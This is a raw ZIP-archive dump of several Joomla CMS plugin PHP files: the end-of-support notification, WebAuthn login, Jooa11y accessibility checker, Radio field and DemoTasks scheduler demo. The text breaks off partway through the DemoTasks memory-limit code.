Z��\�AEt�$ �$ Eos.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Quickicon.eos * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Quickicon\Eos\Extension; use Joomla\CMS\Access\Exception\NotAllowed; use Joomla\CMS\Application\CMSWebApplicationInterface; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Database\DatabaseAwareTrait; use Joomla\Event\SubscriberInterface; use Joomla\Module\Quickicon\Administrator\Event\QuickIconsEvent; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Joomla! end of support notification plugin * * @since 4.4.0 */ final class Eos extends CMSPlugin implements SubscriberInterface { use DatabaseAwareTrait; /** * The EOS date for 4.4. * * @var string * @since 4.4.0 */ private const EOS_DATE = '2025-10-17'; /** * Load the language file on instantiation. * * @var bool * @since 4.4.0 */ protected $autoloadLanguage = false; /** * Holding the current valid message to be shown. * * @var array * @since 4.4.0 */ private $currentMessage = []; /** * Are the messages initialized. * * @var bool * @since 4.4.0 */ private $messagesInitialized = false; /** * Returns an array of events this subscriber will listen to. * * @return array * * @since 4.4.0 */ public static function getSubscribedEvents(): array { return [ 'onGetIcons' => 'getEndOfServiceNotification', 'onAjaxEos' => 'onAjaxEos', ]; } /** * Check and show the alert. * * This method is called when the Quick Icons module is constructing its set * of icons. * * @param QuickIconsEvent $event The event object * * @return void * * @since 4.4.0 * * @throws \Exception */ public function getEndOfServiceNotification(QuickIconsEvent $event): void { $app = $this->getApplication(); if ( $event->getContext() !== $this->params->get('context', 'update_quickicon') || !$this->shouldDisplayMessage() || (!$this->messagesInitialized && $this->setMessage() == []) || !$app instanceof CMSWebApplicationInterface ) { return; } $this->loadLanguage(); // Show this only when not snoozed if ($this->params->get('last_snoozed_id', 0) < $this->currentMessage['id']) { // Build the message to be displayed in the cpanel $messageText = sprintf( $app->getLanguage()->_($this->currentMessage['messageText']), HTMLHelper::_('date', Eos::EOS_DATE, $app->getLanguage()->_('DATE_FORMAT_LC3')), $this->currentMessage['messageLink'] ); if ($this->currentMessage['snoozable']) { $messageText .= '<p><button class="btn btn-warning eosnotify-snooze-btn" type="button" >'; $messageText .= $app->getLanguage()->_('PLG_QUICKICON_EOS_SNOOZE_BUTTON') . '</button></p>'; } $app->enqueueMessage($messageText, $this->currentMessage['messageType']); } $app->getDocument()->getWebAssetManager() ->registerAndUseScript('plg_quickicon_eos.script', 'plg_quickicon_eos/snooze.js', [], ['type' => 'module']); } /** * Save the plugin parameters. * * @return bool * * @since 4.4.0 */ private function saveParams(): bool { $params = $this->params->toString('JSON'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->update($db->quoteName('#__extensions')) ->set($db->quoteName('params') . ' = :params') ->where($db->quoteName('type') . ' = ' . $db->quote('plugin')) ->where($db->quoteName('folder') . ' = ' . $db->quote('quickicon')) ->where($db->quoteName('element') . ' = ' . $db->quote('eos')) ->bind(':params', $params); return $db->setQuery($query)->execute(); } /** * Determines if the message and quickicon should be displayed. * * @return bool * * @since 4.4.0 * * @throws \Exception */ private function shouldDisplayMessage(): bool { // Show only on administration part return $this->getApplication()->isClient('administrator') // Only show for HTML requests && $this->getApplication()->getDocument()->getType() === 'html' // Don't show in modal && $this->getApplication()->getInput()->getCmd('tmpl', 'index') !== 'component' // Only show in cpanel && $this->getApplication()->getInput()->get('option') === 'com_cpanel'; } /** * Return the texts to be displayed based on the time until we reach EOS. * * @param int $monthsUntilEOS The months until we reach EOS * @param int $inverted Have we surpassed the EOS date * * @return array An array with the message to be displayed or false * * @since 4.4.0 */ private function getMessageInfo(int $monthsUntilEOS, int $inverted): array { // The EOS date has passed - Support has ended if ($inverted === 1) { return [ 'id' => 5, 'messageText' => 'PLG_QUICKICON_EOS_MESSAGE_ERROR_SUPPORT_ENDED', 'messageType' => 'error', 'messageLink' => 'https://docs.joomla.org/Special:MyLanguage/Joomla_4.4.x_to_5.x_Planning_and_Upgrade_Step_by_Step', 'snoozable' => false, ]; } // The security support is ending in 6 months if ($monthsUntilEOS < 6) { return [ 'id' => 4, 'messageText' => 'PLG_QUICKICON_EOS_MESSAGE_WARNING_SUPPORT_ENDING', 'messageType' => 'warning', 'messageLink' => 'https://docs.joomla.org/Special:MyLanguage/Joomla_4.4.x_to_5.x_Planning_and_Upgrade_Step_by_Step', 'snoozable' => true, ]; } // We are in security only mode now, 12 month to go from now on if ($monthsUntilEOS < 12) { return [ 'id' => 3, 'messageText' => 'PLG_QUICKICON_EOS_MESSAGE_WARNING_SECURITY_ONLY', 'messageType' => 'warning', 'messageLink' => 'https://docs.joomla.org/Special:MyLanguage/Joomla_4.4.x_to_5.x_Planning_and_Upgrade_Step_by_Step', 'snoozable' => true, ]; } // We still have 16 month to go, lets remind our users about the pre upgrade checker if ($monthsUntilEOS < 16) { return [ 'id' => 2, 'messageText' => 'PLG_QUICKICON_EOS_MESSAGE_INFO_02', 'messageType' => 'info', 'messageLink' => 'https://docs.joomla.org/Special:MyLanguage/Pre-Update_Check', 'snoozable' => true, ]; } // Lets start our messages 2 month after the initial release, still 22 month to go if ($monthsUntilEOS < 22) { return [ 'id' => 1, 'messageText' => 'PLG_QUICKICON_EOS_MESSAGE_INFO_01', 'messageType' => 'info', 'messageLink' => 'https://joomla.org/5', 'snoozable' => true, ]; } return []; } /** * Check if current user is allowed to send the data. * * @return bool * * @since 4.4.0 * * @throws \Exception */ private function isAllowedUser(): bool { return $this->getApplication()->getIdentity()->authorise('core.login.admin'); } /** * User hit the snooze button. * * @return string * * @since 4.4.0 * * @throws Notallowed If user is not allowed * * @throws \Exception */ public function onAjaxEos(): string { // No messages yet so nothing to snooze if (!$this->messagesInitialized && $this->setMessage() == []) { return ''; } if (!$this->isAllowedUser()) { throw new Notallowed($this->getApplication()->getLanguage()->_('JGLOBAL_AUTH_ACCESS_DENIED'), 403); } // Make sure only snoozable messages can be snoozed if ($this->currentMessage['snoozable']) { $this->params->set('last_snoozed_id', $this->currentMessage['id']); $this->saveParams(); } return ''; } /** * Calculates how many days and selects correct message. * * @return array * * @since 4.4.0 */ private function setMessage(): array { $diff = Factory::getDate()->diff(Factory::getDate(Eos::EOS_DATE)); $message = $this->getMessageInfo(floor($diff->days / 30.417), $diff->invert); $this->currentMessage = $message; $this->messagesInitialized = true; return $message; } } PK ��\�9|e e Webauthn.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage System.Webauthn * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\System\Webauthn\Extension; use Joomla\CMS\Event\CoreEventAware; use Joomla\CMS\Factory; use Joomla\CMS\Log\Log; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Event\DispatcherInterface; use Joomla\Event\SubscriberInterface; use Joomla\Plugin\System\Webauthn\Authentication; use Joomla\Plugin\System\Webauthn\PluginTraits\AdditionalLoginButtons; use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandler; use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandlerChallenge; use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandlerCreate; use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandlerDelete; use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandlerInitCreate; use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandlerLogin; use Joomla\Plugin\System\Webauthn\PluginTraits\AjaxHandlerSaveLabel; use Joomla\Plugin\System\Webauthn\PluginTraits\EventReturnAware; use Joomla\Plugin\System\Webauthn\PluginTraits\UserDeletion; use Joomla\Plugin\System\Webauthn\PluginTraits\UserProfileFields; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * WebAuthn Passwordless Login plugin * * The plugin features are broken down into Traits for the sole purpose of making an otherwise * supermassive class somewhat manageable. You can find the Traits inside the Webauthn/PluginTraits * folder. * * @since 4.0.0 */ final class Webauthn extends CMSPlugin implements SubscriberInterface { // Add WebAuthn buttons use AdditionalLoginButtons; // AJAX request handlers use AjaxHandler; use AjaxHandlerInitCreate; use AjaxHandlerCreate; use AjaxHandlerSaveLabel; use AjaxHandlerDelete; use AjaxHandlerChallenge; use AjaxHandlerLogin; // Utility methods for setting the events' return values use EventReturnAware; use CoreEventAware; // Custom user profile fields use UserProfileFields; // Handle user profile deletion use UserDeletion; /** * Autoload the language files * * @var boolean * @since 4.2.0 */ protected $autoloadLanguage = true; /** * Should I try to detect and register legacy event listeners, i.e. methods which accept unwrapped arguments? While * this maintains a great degree of backwards compatibility to Joomla! 3.x-style plugins it is much slower. You are * advised to implement your plugins using proper Listeners, methods accepting an AbstractEvent as their sole * parameter, for best performance. Also bear in mind that Joomla! 5.x onwards will only allow proper listeners, * removing support for legacy Listeners. * * @var boolean * @since 4.2.0 * * @deprecated 4.3 will be removed in 6.0 * Implement your plugin methods accepting an AbstractEvent object * Example: * onEventTriggerName(AbstractEvent $event) { * $context = $event->getArgument(...); * } */ protected $allowLegacyListeners = false; /** * The WebAuthn authentication helper object * * @var Authentication * @since 4.2.0 */ protected $authenticationHelper; /** * Constructor. Loads the language files as well. * * @param DispatcherInterface $subject The object to observe * @param array $config An optional associative array of configuration * settings. Recognized key values include 'name', * 'group', 'params', 'language (this list is not meant * to be comprehensive). * @param Authentication|null $authHelper The WebAuthn helper object * * @since 4.0.0 */ public function __construct(&$subject, array $config = [], Authentication $authHelper = null) { parent::__construct($subject, $config); /** * Note: Do NOT try to load the language in the constructor. This is called before Joomla initializes the * application language. Therefore the temporary Joomla language object and all loaded strings in it will be * destroyed on application initialization. As a result we need to call loadLanguage() in each method * individually, even though all methods make use of language strings. */ // Register a debug log file writer $logLevels = Log::ERROR | Log::CRITICAL | Log::ALERT | Log::EMERGENCY; if (\defined('JDEBUG') && JDEBUG) { $logLevels = Log::ALL; } Log::addLogger([ 'text_file' => "webauthn_system.php", 'text_entry_format' => '{DATETIME} {PRIORITY} {CLIENTIP} {MESSAGE}', ], $logLevels, ["webauthn.system"]); $this->authenticationHelper = $authHelper ?? (new Authentication()); $this->authenticationHelper->setAttestationSupport($this->params->get('attestationSupport', 0) == 1); } /** * Returns the Authentication helper object * * @return Authentication * * @since 4.2.0 */ public function getAuthenticationHelper(): Authentication { return $this->authenticationHelper; } /** * Returns an array of events this subscriber will listen to. * * @return array * * @since 4.2.0 */ public static function getSubscribedEvents(): array { try { $app = Factory::getApplication(); } catch (\Exception $e) { return []; } if (!$app->isClient('site') && !$app->isClient('administrator')) { return []; } return [ 'onAjaxWebauthn' => 'onAjaxWebauthn', 'onAjaxWebauthnChallenge' => 'onAjaxWebauthnChallenge', 'onAjaxWebauthnCreate' => 'onAjaxWebauthnCreate', 'onAjaxWebauthnDelete' => 'onAjaxWebauthnDelete', 'onAjaxWebauthnInitcreate' => 'onAjaxWebauthnInitcreate', 'onAjaxWebauthnLogin' => 'onAjaxWebauthnLogin', 'onAjaxWebauthnSavelabel' => 'onAjaxWebauthnSavelabel', 'onUserAfterDelete' => 'onUserAfterDelete', 'onUserLoginButtons' => 'onUserLoginButtons', 'onContentPrepareForm' => 'onContentPrepareForm', 'onContentPrepareData' => 'onContentPrepareData', ]; } } PK H��\/9 �) �) Jooa11y.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage System.jooa11y * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\System\Jooa11y\Extension; use Joomla\CMS\Language\Text; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Event\SubscriberInterface; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Jooa11y plugin to add an accessibility checker * * @since 4.1.0 */ final class Jooa11y extends CMSPlugin implements SubscriberInterface { /** * Affects constructor behavior. If true, language files will be loaded automatically. * * @var boolean * @since 4.1.0 */ protected $autoloadLanguage = true; /** * Subscribe to certain events * * @return string[] An array of event mappings * * @since 4.1.0 * * @throws Exception */ public static function getSubscribedEvents(): array { return ['onBeforeCompileHead' => 'initJooa11y']; } /** * Method to check if the current user is allowed to see the debug information or not. * * @return boolean True if access is allowed. * * @since 4.1.0 */ private function isAuthorisedDisplayChecker(): bool { static $result; if (is_bool($result)) { return $result; } // If the user is not allowed to view the output then end here. $filterGroups = (array) $this->params->get('filter_groups', []); if (!empty($filterGroups)) { $userGroups = $this->getApplication()->getIdentity()->get('groups'); if (!array_intersect($filterGroups, $userGroups)) { $result = false; return $result; } } $result = true; return $result; } /** * Add the checker. * * @return void * * @since 4.1.0 */ public function initJooa11y() { if (!$this->getApplication()->isClient('site')) { return; } // Check if we are in a preview modal or the plugin has enforced loading $showJooa11y = $this->getApplication()->getInput()->get('jooa11y', $this->params->get('showAlways', 0)); // Load the checker if authorised if (!$showJooa11y || !$this->isAuthorisedDisplayChecker()) { return; } // Get the document object. $document = $this->getApplication()->getDocument(); // Add plugin settings from the xml $document->addScriptOptions( 'jooa11yOptions', [ 'checkRoot' => $this->params->get('checkRoot', 'main'), 'readabilityRoot' => $this->params->get('readabilityRoot', 'main'), 'containerIgnore' => $this->params->get('containerIgnore'), ] ); // Add the language constants $constants = [ 'PLG_SYSTEM_JOOA11Y_ALERT_CLOSE', 'PLG_SYSTEM_JOOA11Y_ALERT_TEXT', 'PLG_SYSTEM_JOOA11Y_AVG_WORD_PER_SENTENCE', 'PLG_SYSTEM_JOOA11Y_COMPLEX_WORDS', 'PLG_SYSTEM_JOOA11Y_CONTAINER_LABEL', 'PLG_SYSTEM_JOOA11Y_CONTRAST', 'PLG_SYSTEM_JOOA11Y_CONTRAST_ERROR_INPUT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_CONTRAST_ERROR_INPUT_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_CONTRAST_ERROR_MESSAGE', 'PLG_SYSTEM_JOOA11Y_CONTRAST_ERROR_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_CONTRAST_WARNING_MESSAGE', 'PLG_SYSTEM_JOOA11Y_CONTRAST_WARNING_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_DARK_MODE', 'PLG_SYSTEM_JOOA11Y_DIFFICULT_READABILITY', 'PLG_SYSTEM_JOOA11Y_EMBED_AUDIO', 'PLG_SYSTEM_JOOA11Y_EMBED_GENERAL_WARNING', 'PLG_SYSTEM_JOOA11Y_EMBED_MISSING_TITLE', 'PLG_SYSTEM_JOOA11Y_EMBED_VIDEO', 'PLG_SYSTEM_JOOA11Y_ERROR', 'PLG_SYSTEM_JOOA11Y_FAIRLY_DIFFICULT_READABILITY', 'PLG_SYSTEM_JOOA11Y_FILE_TYPE_WARNING', 'PLG_SYSTEM_JOOA11Y_FILE_TYPE_WARNING_TIP', 'PLG_SYSTEM_JOOA11Y_FORM_LABELS', 'PLG_SYSTEM_JOOA11Y_GOOD', 'PLG_SYSTEM_JOOA11Y_GOOD_READABILITY', 'PLG_SYSTEM_JOOA11Y_HEADING_EMPTY', 'PLG_SYSTEM_JOOA11Y_HEADING_EMPTY_WITH_IMAGE', 'PLG_SYSTEM_JOOA11Y_HEADING_FIRST', 'PLG_SYSTEM_JOOA11Y_HEADING_LONG', 'PLG_SYSTEM_JOOA11Y_HEADING_LONG_INFO', 'PLG_SYSTEM_JOOA11Y_HEADING_MISSING_ONE', 'PLG_SYSTEM_JOOA11Y_HEADING_NON_CONSECUTIVE_LEVEL', 'PLG_SYSTEM_JOOA11Y_HIDE_OUTLINE', 'PLG_SYSTEM_JOOA11Y_HIDE_SETTINGS', 'PLG_SYSTEM_JOOA11Y_HYPERLINK_ALT_LENGTH_MESSAGE', 'PLG_SYSTEM_JOOA11Y_HYPERLINK_ALT_LENGTH_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_IMAGE_FIGURE_DECORATIVE', 'PLG_SYSTEM_JOOA11Y_IMAGE_FIGURE_DECORATIVE_INFO', 'PLG_SYSTEM_JOOA11Y_IMAGE_FIGURE_DUPLICATE_ALT', 'PLG_SYSTEM_JOOA11Y_LABELS_ARIA_LABEL_INPUT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LABELS_ARIA_LABEL_INPUT_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_LABELS_INPUT_RESET_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LABELS_INPUT_RESET_MESSAGE_TIP', 'PLG_SYSTEM_JOOA11Y_LABELS_MISSING_IMAGE_INPUT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LABELS_MISSING_LABEL_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LABELS_NO_FOR_ATTRIBUTE_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LABELS_NO_FOR_ATTRIBUTE_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_LANG_CODE', 'PLG_SYSTEM_JOOA11Y_LINKS_ADVANCED', 'PLG_SYSTEM_JOOA11Y_LINK_ALT_HAS_BAD_WORD_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LINK_ALT_HAS_BAD_WORD_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_LINK_ALT_HAS_SUS_WORD_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LINK_ALT_HAS_SUS_WORD_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_LINK_ALT_PLACEHOLDER_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LINK_ALT_TOO_LONG_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LINK_ALT_TOO_LONG_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_LINK_ANCHOR_LINK_AND_ALT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LINK_ANCHOR_LINK_AND_ALT_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_LINK_BEST_PRACTICES', 'PLG_SYSTEM_JOOA11Y_LINK_BEST_PRACTICES_DETAILS', 'PLG_SYSTEM_JOOA11Y_LINK_DECORATIVE_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LINK_EMPTY', 'PLG_SYSTEM_JOOA11Y_LINK_EMPTY_LINK_NO_LABEL', 'PLG_SYSTEM_JOOA11Y_LINK_HYPERLINKED_IMAGE_ARIA_HIDDEN', 'PLG_SYSTEM_JOOA11Y_LINK_IDENTICAL_NAME', 'PLG_SYSTEM_JOOA11Y_LINK_IDENTICAL_NAME_TIP', 'PLG_SYSTEM_JOOA11Y_LINK_IMAGE_BAD_ALT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LINK_IMAGE_BAD_ALT_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_LINK_IMAGE_LINK_ALT_TEXT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LINK_IMAGE_LINK_ALT_TEXT_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_LINK_IMAGE_LINK_NULL_ALT_NO_TEXT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LINK_IMAGE_PLACEHOLDER_ALT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LINK_IMAGE_SUS_ALT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LINK_IMAGE_SUS_ALT_MESSAGE_INFO', 'PLG_SYSTEM_JOOA11Y_LINK_LABEL', 'PLG_SYSTEM_JOOA11Y_LINK_LINK_HAS_ALT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_LINK_PASS_ALT', 'PLG_SYSTEM_JOOA11Y_LINK_STOPWORD', 'PLG_SYSTEM_JOOA11Y_LINK_STOPWORD_TIP', 'PLG_SYSTEM_JOOA11Y_LINK_URL', 'PLG_SYSTEM_JOOA11Y_LINK_URL_TIP', 'PLG_SYSTEM_JOOA11Y_MAIN_TOGGLE_LABEL', 'PLG_SYSTEM_JOOA11Y_MISSING_ALT_LINK_BUT_HAS_TEXT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_MISSING_ALT_LINK_MESSAGE', 'PLG_SYSTEM_JOOA11Y_MISSING_ALT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_NEW_TAB_WARNING', 'PLG_SYSTEM_JOOA11Y_NEW_TAB_WARNING_TIP', 'PLG_SYSTEM_JOOA11Y_OFF', 'PLG_SYSTEM_JOOA11Y_ON', 'PLG_SYSTEM_JOOA11Y_PAGE_OUTLINE', 'PLG_SYSTEM_JOOA11Y_PANEL_HEADING_MISSING_ONE', 'PLG_SYSTEM_JOOA11Y_PANEL_STATUS_BOTH', 'PLG_SYSTEM_JOOA11Y_PANEL_STATUS_ERRORS', 'PLG_SYSTEM_JOOA11Y_PANEL_STATUS_HIDDEN', 'PLG_SYSTEM_JOOA11Y_PANEL_STATUS_ICON', 'PLG_SYSTEM_JOOA11Y_PANEL_STATUS_NONE', 'PLG_SYSTEM_JOOA11Y_PANEL_STATUS_WARNINGS', 'PLG_SYSTEM_JOOA11Y_QA_BAD_ITALICS', 'PLG_SYSTEM_JOOA11Y_QA_BAD_LINK', 'PLG_SYSTEM_JOOA11Y_QA_BLOCKQUOTE_MESSAGE', 'PLG_SYSTEM_JOOA11Y_QA_BLOCKQUOTE_MESSAGE_TIP', 'PLG_SYSTEM_JOOA11Y_QA_DUPLICATE_ID', 'PLG_SYSTEM_JOOA11Y_QA_DUPLICATE_ID_TIP', 'PLG_SYSTEM_JOOA11Y_QA_FAKE_HEADING', 'PLG_SYSTEM_JOOA11Y_QA_FAKE_HEADING_INFO', 'PLG_SYSTEM_JOOA11Y_QA_PAGE_LANGUAGE_MESSAGE', 'PLG_SYSTEM_JOOA11Y_QA_PDF_COUNT', 'PLG_SYSTEM_JOOA11Y_QA_SHOULD_BE_LIST', 'PLG_SYSTEM_JOOA11Y_QA_SHOULD_BE_LIST_TIP', 'PLG_SYSTEM_JOOA11Y_QA_UPPERCASE_WARNING', 'PLG_SYSTEM_JOOA11Y_READABILITY', 'PLG_SYSTEM_JOOA11Y_READABILITY_NOT_ENOUGH_CONTENT_MESSAGE', 'PLG_SYSTEM_JOOA11Y_READABILITY_NO_P_OR_LI_MESSAGE', 'PLG_SYSTEM_JOOA11Y_SETTINGS', 'PLG_SYSTEM_JOOA11Y_SHORTCUT_SR', 'PLG_SYSTEM_JOOA11Y_SHORTCUT_TOOLTIP', 'PLG_SYSTEM_JOOA11Y_SHOW_OUTLINE', 'PLG_SYSTEM_JOOA11Y_SHOW_SETTINGS', 'PLG_SYSTEM_JOOA11Y_TABLES_EMPTY_HEADING', 'PLG_SYSTEM_JOOA11Y_TABLES_EMPTY_HEADING_INFO', 'PLG_SYSTEM_JOOA11Y_TABLES_MISSING_HEADINGS', 'PLG_SYSTEM_JOOA11Y_TABLES_MISSING_HEADINGS_INFO', 'PLG_SYSTEM_JOOA11Y_TABLES_SEMANTIC_HEADING', 'PLG_SYSTEM_JOOA11Y_TABLES_SEMANTIC_HEADING_INFO', 'PLG_SYSTEM_JOOA11Y_TEXT_UNDERLINE_WARNING', 'PLG_SYSTEM_JOOA11Y_TEXT_UNDERLINE_WARNING_TIP', 'PLG_SYSTEM_JOOA11Y_TOTAL_WORDS', 'PLG_SYSTEM_JOOA11Y_VERY_DIFFICULT_READABILITY', 'PLG_SYSTEM_JOOA11Y_WARNING', ]; foreach ($constants as $constant) { Text::script($constant); } /** @var Joomla\CMS\WebAsset\WebAssetManager $wa*/ $wa = $document->getWebAssetManager(); $wa->getRegistry()->addRegistryFile('media/plg_system_jooa11y/joomla.asset.json'); $wa->useScript('plg_system_jooa11y.jooa11y') ->useStyle('plg_system_jooa11y.jooa11y'); return true; } } PK � �\bC� Radio.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Fields.radio * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Fields\Radio\Extension; use Joomla\Component\Fields\Administrator\Plugin\FieldsListPlugin; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Fields Radio Plugin * * @since 3.7.0 */ final class Radio extends FieldsListPlugin { /** * Before prepares the field value. * * @param string $context The context. * @param \stdclass $item The item. * @param \stdclass $field The field. * * @return void * * @since 3.7.0 */ public function onCustomFieldsBeforePrepareField($context, $item, $field) { if (!$this->getApplication()->isClient('api')) { return; } if (!$this->isTypeSupported($field->type)) { return; } $options = $this->getOptionsFromField($field); $field->apivalue = []; if (!empty($field->value)) { $field->apivalue = [$field->value => $options[$field->value]]; } } } PK �\3��� � DemoTasks.phpnu �[��� <?php /** * @package Joomla.Plugins * @subpackage Task.DemoTasks * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Task\DemoTasks\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Component\Scheduler\Administrator\Event\ExecuteTaskEvent; use Joomla\Component\Scheduler\Administrator\Task\Status; use Joomla\Component\Scheduler\Administrator\Task\Task; use Joomla\Component\Scheduler\Administrator\Traits\TaskPluginTrait; use Joomla\Event\SubscriberInterface; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * A demo task plugin. Offers 3 task routines and demonstrates the use of {@see TaskPluginTrait}, * {@see ExecuteTaskEvent}. * * @since 4.1.0 */ final class DemoTasks extends CMSPlugin implements SubscriberInterface { use TaskPluginTrait; /** * @var string[] * @since 4.1.0 */ private const TASKS_MAP = [ 'demoTask_r1.sleep' => [ 'langConstPrefix' => 'PLG_TASK_DEMO_TASKS_TASK_SLEEP', 'method' => 'sleep', 'form' => 'testTaskForm', ], 'demoTask_r2.memoryStressTest' => [ 'langConstPrefix' => 'PLG_TASK_DEMO_TASKS_STRESS_MEMORY', 'method' => 'stressMemory', ], 'demoTask_r3.memoryStressTestOverride' => [ 'langConstPrefix' => 'PLG_TASK_DEMO_TASKS_STRESS_MEMORY_OVERRIDE', 'method' => 'stressMemoryRemoveLimit', ], 'demoTask_r4.resumable' => [ 'langConstPrefix' => 'PLG_TASK_DEMO_TASKS_RESUMABLE', 'method' => 'resumable', 'form' => 'testTaskForm', ], ]; /** * @var boolean * @since 4.1.0 */ protected $autoloadLanguage = true; /** * @inheritDoc * * @return string[] * * @since 4.1.0 */ public static function getSubscribedEvents(): array { return [ 'onTaskOptionsList' => 'advertiseRoutines', 'onExecuteTask' => 'standardRoutineHandler', 'onContentPrepareForm' => 'enhanceTaskItemForm', ]; } /** * Sample resumable task. * * Whether the task will resume is random. There's a 40% chance of finishing every time it runs. * * You can use this as a template to create long running tasks which can detect an impending * timeout condition, return Status::WILL_RESUME and resume execution next time they are called. * * @param ExecuteTaskEvent $event The event we are handling * * @return integer * * @since 4.1.0 * @throws \Exception */ private function resumable(ExecuteTaskEvent $event): int { /** @var Task $task */ $task = $event->getArgument('subject'); $timeout = (int) $event->getArgument('params')->timeout ?? 1; $lastStatus = $task->get('last_exit_code', Status::OK); // This is how you detect if you are resuming a task or starting it afresh if ($lastStatus === Status::WILL_RESUME) { $this->logTask(sprintf('Resuming task %d', $task->get('id'))); } else { $this->logTask(sprintf('Starting new task %d', $task->get('id'))); } // Sample task body; we are simply sleeping for some time. $this->logTask(sprintf('Starting %ds timeout', $timeout)); sleep($timeout); $this->logTask(sprintf('%ds timeout over!', $timeout)); // Should I resume the task in the next step (randomly decided)? $willResume = random_int(0, 5) < 4; // Log our intention to resume or not and return the appropriate exit code. if ($willResume) { $this->logTask(sprintf('Task %d will resume', $task->get('id'))); } else { $this->logTask(sprintf('Task %d is now complete', $task->get('id'))); } return $willResume ? Status::WILL_RESUME : Status::OK; } /** * @param ExecuteTaskEvent $event The `onExecuteTask` event. * * @return integer The routine exit code. * * @since 4.1.0 * @throws \Exception */ private function sleep(ExecuteTaskEvent $event): int { $timeout = (int) $event->getArgument('params')->timeout ?? 1; $this->logTask(sprintf('Starting %d timeout', $timeout)); sleep($timeout); $this->logTask(sprintf('%d timeout over!', $timeout)); return Status::OK; } /** * Standard routine method for the memory test routine. * * @param ExecuteTaskEvent $event The `onExecuteTask` event. * * @return integer The routine exit code. * * @since 4.1.0 * @throws \Exception */ private function stressMemory(ExecuteTaskEvent $event): int { $mLimit = $this->getMemoryLimit(); $this->logTask(sprintf('Memory Limit: %d KB', $mLimit)); $iMem = $cMem = memory_get_usage(); $i = 0; while ($cMem + ($cMem - $iMem) / ++$i <= $mLimit) { $this->logTask(sprintf('Current memory usage: %d KB', $cMem)); ${"array" . $i} = array_fill(0, 100000, 1); } return Status::OK; } /** * Standard routine method for the memory test routine, also attempts to override the memory limit set by the PHP * INI. * * @param ExecuteTaskEvent $event The `onExecuteTask` event. * * @return integer The routine exit code. * * @since 4.1.0 * @throws \Exception */ private function stressMemoryRemoveLimit(ExecuteTaskEvent $event): int { $success = false; if (function_exists('ini_set')) { $success = ini_set('memory_limit', -1) !== false; } $this->logTask('Memory limit override ' . $success ? 'successful' : 'failed'); return $this->stressMemory($event); } /** * Processes the PHP ini memory_limit setting, returning the memory limit in KB * * @return float * * @since 4.1.0 */ private function getMemoryLimit(): float { $memoryLimit = ini_get('memory_limit'); if (preg_match('/^(\d+)(.)$/', $memoryLimit, $matches)) { if ($matches[2] == 'M') { // * nnnM -> nnn MB $memoryLimit = $matches[1] * 1024 * 1024; } else { if ($matches[2] == 'K') { // * nnnK -> nnn KB $memoryLimit = 